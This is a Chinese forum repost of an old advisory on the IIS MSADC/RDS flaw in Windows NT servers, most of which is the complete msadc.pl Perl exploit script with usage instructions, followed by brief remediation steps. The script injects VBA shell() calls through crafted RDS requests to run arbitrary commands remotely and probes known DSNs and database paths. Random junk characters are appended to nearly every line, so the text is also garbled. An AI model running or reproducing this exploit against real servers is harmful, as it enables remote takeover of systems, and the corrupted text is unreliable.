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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) b`_Q8 J  
DV{=n C  
涉及程序: wyG;8I  
Microsoft NT server xN(|A}w  
:@&/kyGH  
描述: Xm&L B X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 [S<";l8  
D`AsRd  
详细: GKCroyor  
如果你没有时间读详细内容的话,就删除: %>s |j'{  
c:\Program Files\Common Files\System\Msadc\msadcs.dll -']56o_sQ/  
有关的安全问题就没有了。  S[QrS 7  
xLn%hxm?,  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 'f|o{  
L=h'Qgk%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 O'~+_ykTl  
关于利用ODBC远程漏洞的描述,请参看: LHmZxi?  
^}C\zW  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a: K[ y  
L8n|m!MOD  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ct|A:/z(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r%N)bNk~  
ZG@q`<:j  
这里不再论述。 3N:D6w-R  
s(8W_4&'  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1&$ nVQ  
GH xp7H  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Vq2$'lY  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! c:g'.'/*  
p<;0g9,1  
L.WljNo  
#将下面这段保存为txt文件,然后: "perl -x 文件名" RrgGEx  
M@ZI\  
#!perl PxE3K-S)G  
# >OK^D+v"j  
# MSADC/RDS 'usage' (aka exploit) script IIqUZJ  
# ~v"L!=~G;a  
# by rain.forest.puppy [trwBZ^D~  
# K4);HJ|=  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me [fIg{Q  
# beta test and find errors! Tac$LS\Q  
3yXY.>'  
use Socket; use Getopt::Std; ]0\MmAJRn  
getopts("e:vd:h:XR", \%args); nNU2([  
4'Zp-k?5`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; FsryEHz  
T,tdL N-  
if (!defined $args{h} && !defined $args{R}) { <d_!mKw  
print qq~ E+JqWR5  
Usage: msadc.pl -h <host> { -d <delay> -X -v } tRfo$4#NY  
-h <host> = host you want to scan (ip or domain) 2 Vrw  
-d <seconds> = delay between calls, default 1 second PiYxk+N  
-X = dump Index Server path table, if available })?GzblI&  
-v = verbose NN`uI6=  
-e = external dictionary file for step 5 !0cD$^7  
0K2`-mL  
Or a -R will resume a command session ""|Qtubv  
m%e68c  
~; exit;} ;d9QAN&0}  
Wiu"k%Qsh  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; '6Q =#:mc\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &9)\wnOS  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} # 4PVVu<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^ovR7+V  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} n=ux5M  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \;"=QmRD%:  
w*JGUk  
if (!defined $args{R}){ $ret = &has_msadc; &IB|rw'9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} NTI+  
N' `A?&2ru  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ilx)*Y  
. "cmd /c "; qeZ? 7#Gf  
$in=<STDIN>; chomp $in; 5N&?KA-  
$command="cmd /c " . $in ; s}% M4  
%F4%H|G  
if (defined $args{R}) {&load; exit;} 'y3!fN =h  
OH(waKq2I  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; =rCIumqD-}  
&try_btcustmr; r|Tcfk]%  
;x@~A^<el  
print "\nStep 2: Trying to make our own DSN..."; fDU!~/#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 5S--'=fu+  
_t #k,;  
print "\nStep 3: Trying known DSNs..."; <3C*Z"aQ>|  
&known_dsn; |2n4QBH!  
8C9-_Ng`  
print "\nStep 4: Trying known .mdbs..."; P! #[mio  
&known_mdb; <T|3`#o0  
czRFMYE  
if (defined $args{e}){ l3I:Q^x@  
print "\nStep 5: Trying dictionary of DSN names..."; =.]4;z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } orMwAV  
D!-g&HBTC  
print "Sorry Charley...maybe next time?\n";  DwE[D]7o  
exit; {:$>t~=D  
9H`XeQ.  
############################################################################## GH:jH]u!V  
!_'ur>iR  
sub sendraw { # ripped and modded from whisker M{T-iW"  
sleep($delay); # it's a DoS on the server! At least on mine... *kDCliL  
my ($pstr)=@_; CSq4x5!_7>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %%gc2s  
die("Socket problems\n"); ~^fZx5  
if(connect(S,pack "SnA4x8",2,80,$target)){ dufu|BL|}  
select(S); $|=1; MPg)=LI  
print $pstr; my @in=<S>; ;dZZ;#k%  
select(STDOUT); close(S); .Una+Z  
return @in; SdxDa  
} else { die("Can't connect...\n"); }} 0 e ~JMUb  
3/e.38m|  
############################################################################## O$j7i:G'5  
iYm-tsER;  
sub make_header { # make the HTTP request `1{ZqRFQ  
my $msadc=<<EOT 4`]^@"{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 9YQb &  
User-Agent: ACTIVEDATA  J^5So  
Host: $ip wX5tp1 ?1J  
Content-Length: $clen <~'"<HwtK  
Connection: Keep-Alive as4;:  
(U_ujPD ?  
ADCClientVersion:01.06 cyv`B3}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 j0S# >t  
+tIF h'  
--!ADM!ROX!YOUR!WORLD! A_ N;   
Content-Type: application/x-varg Fk*7;OuZl  
Content-Length: $reqlen _] sn0rX  
=eXU@B  
EOT ~>Fu5i $i  
; $msadc=~s/\n/\r\n/g; (X1e5j>Ru  
return $msadc;} #9}D4i.`}  
LW'D?p#  
############################################################################## xPk8$1meZM  
E+R1 !.  
sub make_req { # make the RDS request %x{kc3PnO  
my ($switch, $p1, $p2)=@_; 2U\u4N O{  
my $req=""; my $t1, $t2, $query, $dsn; kmsb hYM)  
iWB=sL&p  
if ($switch==1){ # this is the btcustmr.mdb query rc>4vB_ha  
$query="Select * from Customers where City=" . make_shell(); EZy)A$|  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . YY((V@|K  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} gG:Vt}N  
\y)rt )  
elsif ($switch==2){ # this is general make table query |\<`Ib4j  
$query="create table AZZ (B int, C varchar(10))"; eJVjuG  
$dsn="$p1";} DV+xg3\(>1  
V b4#,  
elsif ($switch==3){ # this is general exploit table query o]` *M|  
$query="select * from AZZ where C=" . make_shell(); uK#4(eY=W  
$dsn="$p1";} I<4Pur>"  
(G u zN  
elsif ($switch==4){ # attempt to hork file info from index server }Qc@m9;bH  
$query="select path from scope()";  |`f$tj  
$dsn="Provider=MSIDXS;";} F/bT)QT<f  
i]y<|W)Q3  
elsif ($switch==5){ # bad query @ ZwvBH  
$query="select"; `PdQX.wN  
$dsn="$p1";} [b<oDX#  
VT%NO'0  
$t1= make_unicode($query); KB,j7 ~V  
$t2= make_unicode($dsn); }bpQq6ZF  
$req = "\x02\x00\x03\x00"; }DE g-j,F  
$req.= "\x08\x00" . pack ("S1", length($t1)); gJXq^~-hd  
$req.= "\x00\x00" . $t1 ; nFg~< $d  
$req.= "\x08\x00" . pack ("S1", length($t2)); JEwa &  
$req.= "\x00\x00" . $t2 ; du lI&_x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; e&F8m%t  
return $req;} v ~?qz5:K~  
D|L9Vs`  
############################################################################## R'`qKc  
 E`0?  
sub make_shell { # this makes the shell() statement <8i//HOE  
return "'|shell(\"$command\")|'";} 7Lc]HSZo,  
n;Q7X>-f8`  
############################################################################## /P3 <"?#k  
\fr~  
sub make_unicode { # quick little function to convert to unicode m6K}|j  
my ($in)=@_; my $out; Z1f8/?`W  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Ugt/rf5n  
return $out;} n;C :0  
4Zddw0|2  
############################################################################## fS:&Ak ];  
@#>rYAb8,  
sub rdo_success { # checks for RDO return success (this is kludge) oUr66a/[U  
my (@in) = @_; my $base=content_start(@in); $q{!5-e  
if($in[$base]=~/multipart\/mixed/){ .x.]`b(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 6qpJUkd  
return 0;} t?&|8SId  
7\[@ m3s  
############################################################################## o]_dJB  
dNH08q8P  
sub make_dsn { # this makes a DSN for us SrJGTuXg  
my @drives=("c","d","e","f"); @6sqMw}  
print "\nMaking DSN: "; e@ 07  
foreach $drive (@drives) { E\EsWb  
print "$drive: "; B eo@K|3GN  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1Z2HUzqh.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" RFcv^Xf  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); c )g\/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; su( 1<S}  
return 0 if $2 eq "404"; # not found/doesn't exist ~?Pw& K2  
if($2 eq "200") { D|p9qe5%  
foreach $line (@results) { QXFo1m  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} LEf^cM=>  
} return 0;} n\D&!y[]F  
gzT*-  
############################################################################## yYYSeH  
@ioJ] $o7  
sub verify_exists { MK~8}x2K  
my ($page)=@_; pRpBhm;iJ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 50wulGJud  
return $results[0];} UHkMn  
{duz\k2  
##############################################################################  A,<E\  
i$#;Kpb`^  
sub try_btcustmr { 783,s_  
my @drives=("c","d","e","f"); $GcqBg-Hi  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6l x>>J!H  
tw/dD +  
foreach $dir (@dirs) { M"Hf :9Rk  
print "$dir -> "; # fun status so you can see progress rJ4S%6w  
foreach $drive (@drives) { ZvX*t)VjTz  
print "$drive: "; # ditto _< V)-Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; AeM^73t  
$reqlenlen=length( "$reqlen" ); &wawr2)}  
$clen= 206 + $reqlenlen + $reqlen; ?e4YGOe.  
4E+e}\r:6  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Hzz %3}E  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /Cr%{'Pzk  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} lrE5^;/s1  
r Z$O?K  
############################################################################## Mfuv0P~  
!9e=_mY  
sub odbc_error { SKN`2hD  
my (@in)=@_; my $base; _;y9$"A  
my $base = content_start(@in); ebhXak[w  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this a58H9w"u)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +Kc  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #zs~," dRv  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _|2:_N=   
return $in[$base+4].$in[$base+5].$in[$base+6];} ^{`exCwM x  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9$w.9`Py  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . t3_O H^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} zC!t;*8a  
q?yVR3]M  
############################################################################## @Nx 9)  
q3!bky\  
sub verbose { h438`  
my ($in)=@_; Btn?N  
return if !$verbose; CAhXQ7w'Z  
print STDOUT "\n$in\n";} (w3YvG.  
DyQy^G'%l  
############################################################################## Qw*|qGvy^  
g3y~bf  
sub save { g! |kp?  
my ($p1, $p2, $p3, $p4)=@_; ;)*eo_tQ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; J ZS:MFA  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; vk^xT  
close OUT;} P= NDS2  
;A*]l' [-  
############################################################################## CA~-rv  
A;M'LM-M  
sub load { u*`GiZAO  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; L="}E rmK  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 3=j"=-=  
@p=<IN>; close(IN); 7{*>agQh  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :$c |  
$target= inet_aton($ip) || die("inet_aton problems"); wmLs/:~  
print "Resuming to $ip ..."; " H\k`.j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; nNn :-  
if($p[1]==1) { 8d'0N  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; iYy1!\  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }|=|s f  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); R\[e!g*I  
if (rdo_success(@results)){print "Success!\n";} I!K6o.|1  
else { print "failed\n"; verbose(odbc_error(@results));}} iH@UTE;  
elsif ($p[1]==3){ G 3ptx! D  
if(run_query("$p[3]")){ Dlvz )  
print "Success!\n";} else { print "failed\n"; }} ym1Y4,  
elsif ($p[1]==4){ i/Zd8+.n$  
if(run_query($drvst . "$p[3]")){ (4nq>;$3  
print "Success!\n"; } else { print "failed\n"; }} SmO~,2=  
exit;} =I_'.b  
gB33?  
############################################################################## nxFBID  
R:qW;n%AF  
sub create_table { BI@[\aRLQ  
my ($in)=@_; 'I;zJ`Trd  
$reqlen=length( make_req(2,$in,"") ) - 28; G3T]`Atf  
$reqlenlen=length( "$reqlen" ); xAm6BB c  
$clen= 206 + $reqlenlen + $reqlen; 1'8YkhQ2a  
my @results=sendraw(make_header() . make_req(2,$in,"")); ;O,jUiQ  
return 1 if rdo_success(@results); X:{!n({r=  
my $temp= odbc_error(@results); verbose($temp); d<Tc7vg4|U  
return 1 if $temp=~/Table 'AZZ' already exists/; ns4,@C$  
return 0;} 8&dF  
e\/w'  
############################################################################## BiBOr}ZQ  
wMN]~|z>  
sub known_dsn { _aeBauD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go rytyw77t(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "0TZTa1e  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 9>#6*/Oa7  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); $ocdI5  
GC'O[q+  
foreach $dSn (@dsns) { _q^E,P  
print "."; V=3b&TkE  
next if (!is_access("DSN=$dSn")); q@2siI~W  
if(create_table("DSN=$dSn")){ Eh4= ZEX  
print "$dSn successful\n"; HxI" 8A  
if(run_query("DSN=$dSn")){ sDV Q#}a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Etm?'  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,2ar7 5Va  
Z3!`J&  
##############################################################################  9gZ$   
_SkLYL!=9  
sub is_access { fF kj+  
my ($in)=@_; .N(p=9  
$reqlen=length( make_req(5,$in,"") ) - 28; QmIBaMI#  
$reqlenlen=length( "$reqlen" ); >LuYHr  
$clen= 206 + $reqlenlen + $reqlen; a[TMDU;(/4  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3R V R  
my $temp= odbc_error(@results); ?bu>r=oIO]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); WX0tgXl  
return 0;} <54 S  
A5w6]:f2  
############################################################################## 40 0#v|b  
BsJC0I(  
sub run_query { PFK  '$  
my ($in)=@_; _J[P[(ab  
$reqlen=length( make_req(3,$in,"") ) - 28; ;9g2?-svw  
$reqlenlen=length( "$reqlen" ); |zE'd!7E  
$clen= 206 + $reqlenlen + $reqlen; @\I#^X5lv  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~u+9J}  
return 1 if rdo_success(@results); X[TR3[1}  
my $temp= odbc_error(@results); verbose($temp); G*v,GR  
return 0;} N17RLz *\  
2f_:v6   
############################################################################## C"enpc_C/  
>-{Hyx  
sub known_mdb { HUOj0T  
my @drives=("c","d","e","f","g"); 'A[dCc8O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 61 ~upQaR  
my $dir, $drive, $mdb; GowH]MO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; L4?IHNB  
4nz35BLr  
# this is sparse, because I don't know of many da~],MN  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 9]@!S|1  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &]-DqK7  
"\\system32\\certmdb.mdb", & "B=/-(  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% W|(1Y D  
5ms(Wd  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", -s'-eQF J  
"\\cfusion\\cfapps\\forums\\forums_.mdb", wn)W ?P;k  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", sFTy(A/  
"\\cfusion\\cfapps\\security\\realm_.mdb", VOh4#%Vj  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $xdy&  
"\\cfusion\\database\\cfexamples.mdb", :T(|&F[(  
"\\cfusion\\database\\cfsnippets.mdb", ,wdD8ZT'Ip  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [;sRV<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 0'o:#-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", *G 9V'9  
"\\cfusion\\database\\smpolicy.mdb", m<2M4u   
"\\cfusion\\database\cypress.mdb", O!bOp=  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?#Q #u|~  
"\\website\\cgi-win\\dbsample.mdb", "Os_vlapHo  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5d!-G$ @  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Ok\7y-w^  
); #these are just QnX(V[  
foreach $drive (@drives) { TrR8?-  
foreach $dir (@dirs){ 57'4ljvYi  
foreach $mdb (@sysmdbs) { IRqy%@)  
print "."; Hl |z</*+  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ N_q|\S>t/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Tc3yS(aq  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ LC!bIm5'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; -!]ZMi9  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^@NU}S):yN  
D*|Bb?  
foreach $drive (@drives) { lBGQEP3;  
foreach $mdb (@mdbs) { 4)o  
print "."; "|KP'<8%  
if(create_table($drv . $drive . $dir . $mdb)){ KL Xq\{X  
print "\n" . $drive . $dir . $mdb . " successful\n"; l_%6  
if(run_query($drv . $drive . $dir . $mdb)){ ls)%c  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; i&GH/y  
} else { print "Something's borked. Use verbose next time\n"; }}}} sZF6h=67D  
} wZZt  
"wh , Ue  
############################################################################## UN<]N76!  
,:\|7F  
sub hork_idx { a-L;*  
print "\nAttempting to dump Index Server tables...\n"; XAL1|] S  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #|PS&}6wU  
$reqlen=length( make_req(4,"","") ) - 28; Q^txVUL  
$reqlenlen=length( "$reqlen" ); ,{?%m6.lE  
$clen= 206 + $reqlenlen + $reqlen; y:qUn!3  
my @results=sendraw2(make_header() . make_req(4,"","")); 'u<juFr  
if (rdo_success(@results)){ 8StgsM  
my $max=@results; my $c; my %d; A '];`  
for($c=19; $c<$max; $c++){ 7g}w+p>  
$results[$c]=~s/\x00//g; r<Kx0`y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; H\tUpan6fy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 9o:Lz5 o  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; q;>7*Y&  
$d{"$1$2"}="";} 54li^   
foreach $c (keys %d){ print "$c\n"; } 6MdiY1Lr!K  
} else {print "Index server doesn't seem to be installed.\n"; }} Y#$%iF  
?zHPJLv|Y  
############################################################################## ?R.j^ S^  
|R\>@Mg#B  
sub dsn_dict { LvUj9eVb/L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Q%mB |i|  
while(<IN>){ L"Olwwmk  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; PQ$%H>{  
next if (!is_access("DSN=$dSn")); gi _5?$  
if(create_table("DSN=$dSn")){ ZlzjVU/E  
print "$dSn successful\n"; VUR|OV%  
if(run_query("DSN=$dSn")){ ;&-k#PE]/H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { D#JL!A%O  
print "Something's borked. Use verbose next time\n";}}} ]R9HyCl&a6  
print "\n"; close(IN);} ):_\;.L  
R)ITy!z  
############################################################################## !s?nJ(p  
p\aaJ  
sub sendraw2 { # ripped and modded from whisker +jnJ|h({  
sleep($delay); # it's a DoS on the server! At least on mine... 6?~"V  
my ($pstr)=@_; lHe{\N[C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || zz4N5["  
die("Socket problems\n"); YRN06*hS  
if(connect(S,pack "SnA4x8",2,80,$target)){ rJbf_]^  
print "Connected. Getting data"; T\j{Bi5 \J  
open(OUT,">raw.out"); my @in; !1{e|p 7  
select(S); $|=1; print $pstr; 6){]1h"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} NmJWU:W_@  
close(OUT); select(STDOUT); close(S); return @in; L4z ~B!uvF  
} else { die("Can't connect...\n"); }} aa#Y=%^  
~T,c"t2  
############################################################################## B s#hr3h-  
v8[I 8{41  
sub content_start { # this will take in the server headers ,-d 0b0  
my (@in)=@_; my $c; ^^as'Dk  
for ($c=1;$c<500;$c++) { _Wq  
if($in[$c] =~/^\x0d\x0a/){ DiwxXqY  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } BB*f4z$Y%  
else { return $c+1; }}} h"_;IUZ!  
return -1;} # it should never get here actually 6GSI"M6s  
>TnTnFWX  
############################################################################## *%fi/bimG  
v}O30wE  
sub funky { Bb^;q#S1  
my (@in)=@_; my $error=odbc_error(@in); $oU*9}}Rn  
if($error=~/ADO could not find the specified provider/){ h WtVWVNL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Xr$J9*Jk-  
exit;} (# Gw1  
if($error=~/A Handler is required/){ UT=tT )4b  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z/0fXn})  
exit;} &cHV7  
if($error=~/specified Handler has denied Access/){ q6SXWT'Sa  
print "\nServer has custom handler filters (they most likely are patched)\n"; >eqxV|]i  
exit;}} aM2l2  
")dH,:#S  
############################################################################## dzsmIV+  
luuX2Mx>o  
sub has_msadc { !^=*Jq>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^~@U]  
my $base=content_start(@results); [los dnH^?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); (\a]"g,]v  
return 0;} ;8*`{F[  
];a=Pn-:}G  
######################## 36%nB*  
-UdEeZz.  
[t7]{d*  
解决方案: UXugRk%d  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll (m.ob+D  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 MHai%E  
x2z;6)  
拿出来充数 哈哈
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